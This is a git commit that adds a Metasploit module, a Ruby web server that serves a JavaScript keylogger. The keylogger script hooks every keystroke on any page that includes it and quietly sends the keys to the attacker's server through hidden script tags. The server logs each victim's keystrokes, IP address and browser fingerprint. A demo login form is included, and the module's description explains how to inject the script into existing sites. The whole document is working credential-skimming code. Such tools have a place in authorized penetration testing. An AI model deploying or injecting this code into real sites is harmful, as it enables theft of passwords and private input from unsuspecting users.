Merge in MJC's javascript keylogger
This commit is contained in:
parent
1d71aec916
commit
7c1d48d6aa
|
@ -0,0 +1,311 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Capture: HTTP JavaScript Keylogger',
|
||||
'Description' => %q{
|
||||
This modules runs a web server that demonstrates keystroke
|
||||
logging through JavaScript. The DEMO option can be set to enable
|
||||
a page that demonstrates this technique. Future improvements will
|
||||
allow for a configurable template to be used with this module.
|
||||
To use this module with an existing web page, simply add a
|
||||
script source tag pointing to the URL of this service ending
|
||||
in the .js extension. For example, if URIPATH is set to "test",
|
||||
the following URL will load this script into the calling site.
|
||||
http://server:port/test/anything.js
|
||||
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm'],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# This is the module's main runtime method
|
||||
def run
|
||||
@seed = Rex::Text.rand_text_alpha(12)
|
||||
@client_cache = {}
|
||||
|
||||
# Starts Web Server
|
||||
exploit
|
||||
end
|
||||
|
||||
# This handles the HTTP responses for the Web server
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
cid = nil
|
||||
|
||||
if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
|
||||
cid = $1
|
||||
end
|
||||
|
||||
if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
|
||||
cid = $1
|
||||
end
|
||||
|
||||
data = request.qstring['data']
|
||||
|
||||
unless cid
|
||||
cid = generate_client_id(cli,request)
|
||||
print_status("#{cli.peerhost} Assigning client identifier '#{cid}'")
|
||||
|
||||
resp = create_response(302, 'Moved')
|
||||
resp['Content-Type'] = 'text/html'
|
||||
resp['Location'] = request.uri + '?id=' + cid
|
||||
resp['Set-Cookie'] = "id=#{cid}"
|
||||
cli.send_response(resp)
|
||||
return
|
||||
end
|
||||
|
||||
base_url = generate_base_url(cli, request)
|
||||
|
||||
# print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")
|
||||
|
||||
case request.uri
|
||||
when /\.js(\?|$)/
|
||||
content_type = "text/plain"
|
||||
send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
|
||||
|
||||
when /\/demo\/?(\?|$)/
|
||||
if datastore['DEMO']
|
||||
content_type = "text/html"
|
||||
send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
|
||||
else
|
||||
if data
|
||||
nice = process_data(cli, request, cid, data)
|
||||
script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
|
||||
send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
|
||||
else
|
||||
if datastore['DEMO']
|
||||
send_redirect(cli, "/demo/?cid=#{cid}")
|
||||
else
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Figure out what our base URL is based on the user submitted
|
||||
# Host header or the address of the client.
|
||||
def generate_base_url(cli, req)
|
||||
port = nil
|
||||
host = Rex::Socket.source_address(cli.peerhost)
|
||||
|
||||
if req['Host']
|
||||
host = req['Host']
|
||||
bits = host.split(':')
|
||||
|
||||
# Extract the hostname:port sequence from the Host header
|
||||
if bits.length > 1 and bits.last.to_i > 0
|
||||
port = bits.pop.to_i
|
||||
host = bits.join(':')
|
||||
end
|
||||
else
|
||||
port = datastore['SRVPORT'].to_i
|
||||
end
|
||||
|
||||
prot = (!! datastore['SSL']) ? 'https://' : 'http://'
|
||||
if Rex::Socket.is_ipv6?(host)
|
||||
host = "[#{host}]"
|
||||
end
|
||||
|
||||
base = prot + host
|
||||
if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
|
||||
base << ":#{port}"
|
||||
end
|
||||
|
||||
base << get_resource
|
||||
end
|
||||
|
||||
def process_data(cli, request, cid, data)
|
||||
|
||||
lines = [""]
|
||||
real = ""
|
||||
|
||||
Rex::Text.uri_decode(data).split(",").each do |char|
|
||||
byte = char.to_s.hex.chr
|
||||
next if byte == "\x00"
|
||||
real << byte
|
||||
case char.to_i
|
||||
# Do Backspace
|
||||
when 8
|
||||
lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
|
||||
when 13
|
||||
lines << ""
|
||||
else
|
||||
lines[-1] << byte
|
||||
end
|
||||
end
|
||||
|
||||
nice = lines.join("<CR>").gsub("\t", "<TAB>")
|
||||
real = real.gsub("\x08", "<DEL>")
|
||||
|
||||
if not @client_cache[cid]
|
||||
|
||||
fp = fingerprint_user_agent(request['User-Agent'] || "")
|
||||
header = "Browser Keystroke Log\n"
|
||||
header << "=====================\n"
|
||||
header << "Created: #{Time.now.to_s}\n"
|
||||
header << "Address: #{cli.peerhost}\n"
|
||||
header << " ID: #{cid}\n"
|
||||
header << " FPrint: #{fp.inspect}\n"
|
||||
header << " URL: #{request.uri}\n"
|
||||
header << "\n"
|
||||
header << "====================\n\n"
|
||||
|
||||
@client_cache[cid] = {
|
||||
:created => Time.now.to_i,
|
||||
:path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
|
||||
:path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
|
||||
}
|
||||
print_good("#{cli.peerhost} [#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
|
||||
print_good("#{cli.peerhost} [#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
|
||||
end
|
||||
|
||||
::File.open( @client_cache[cid][:path_clean], "a") { |fd| fd.puts nice }
|
||||
::File.open( @client_cache[cid][:path_raw], "a") { |fd| fd.write(real) }
|
||||
|
||||
if nice.length > 0
|
||||
print_good("#{cli.peerhost} [#{cid}] Keys: #{nice}")
|
||||
end
|
||||
|
||||
nice
|
||||
end
|
||||
|
||||
def generate_client_id(cli, req)
|
||||
"%.8x" % Kernel.rand(0x100000000)
|
||||
end
|
||||
|
||||
|
||||
def generate_demo(base_url, cid)
|
||||
# This is the Demo Form Page <HTML>
|
||||
html = <<EOS
|
||||
<html>
|
||||
<head>
|
||||
<title>Demo Form</title>
|
||||
<script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
|
||||
</head>
|
||||
<body bgcolor="white">
|
||||
<br><br>
|
||||
<div align="center">
|
||||
<h1>Keylogger Demo Form</h1>
|
||||
<form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
|
||||
<p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
|
||||
<br><br>
|
||||
<table border="0" cellspacing="0" cellpadding="0">
|
||||
<tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
|
||||
<tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
|
||||
</table>
|
||||
<p align="center"><input type="submit" value="Submit"></p></form>
|
||||
|
||||
<br/>
|
||||
<textarea cols="80" rows="5" id="results">
|
||||
</textarea>
|
||||
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
return html
|
||||
end
|
||||
|
||||
# This is the JavaScript Key Logger Code
|
||||
def generate_keylogger_js(base_url, cid)
|
||||
|
||||
targ = Rex::Text.rand_text_alpha(12)
|
||||
|
||||
code = <<EOS
|
||||
|
||||
var c#{@seed} = 0;
|
||||
window.onload = function load#{@seed}(){
|
||||
l#{@seed} = ",";
|
||||
|
||||
if (window.addEventListener) {
|
||||
document.addEventListener('keypress', p#{@seed}, true);
|
||||
document.addEventListener('keydown', d#{@seed}, true);
|
||||
} else if (window.attachEvent) {
|
||||
document.attachEvent('onkeypress', p#{@seed});
|
||||
document.attachEvent('onkeydown', d#{@seed});
|
||||
} else {
|
||||
document.onkeypress = p#{@seed};
|
||||
document.onkeydown = d#{@seed};
|
||||
}
|
||||
|
||||
}
|
||||
function p#{@seed}(e){
|
||||
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
|
||||
k#{@seed} = k#{@seed}.toString(16);
|
||||
if (k#{@seed} != "d"){
|
||||
#{@seed}(k#{@seed});
|
||||
}
|
||||
}
|
||||
function d#{@seed}(e){
|
||||
k#{@seed} = (window.event) ? window.event.keyCode : e.which;
|
||||
if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
|
||||
#{@seed}(k#{@seed});
|
||||
}
|
||||
}
|
||||
|
||||
function #{@seed}(k#{@seed}){
|
||||
l#{@seed} = l#{@seed} + k#{@seed} + ",";
|
||||
|
||||
var t#{@seed} = "#{targ}" + c#{@seed};
|
||||
c#{@seed}++;
|
||||
|
||||
var f#{@seed};
|
||||
|
||||
if (document.all)
|
||||
f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
|
||||
else {
|
||||
f#{@seed} = document.createElement("script");
|
||||
f#{@seed}.setAttribute("id", t#{@seed});
|
||||
f#{@seed}.setAttribute("name", t#{@seed});
|
||||
}
|
||||
|
||||
f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
|
||||
f#{@seed}.style.visibility = "hidden";
|
||||
|
||||
document.body.appendChild(f#{@seed});
|
||||
|
||||
if (k#{@seed} == 13 || l#{@seed}.length > 3000)
|
||||
l#{@seed} = ",";
|
||||
|
||||
setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
|
||||
}
|
||||
EOS
|
||||
return code
|
||||
end
|
||||
|
||||
def generate_demo_js_reply(base_url, cid, data)
|
||||
code = <<EOS
|
||||
try {
|
||||
document.getElementById("results").value = "Keystrokes: #{data}";
|
||||
} catch(e) { }
|
||||
EOS
|
||||
return code
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue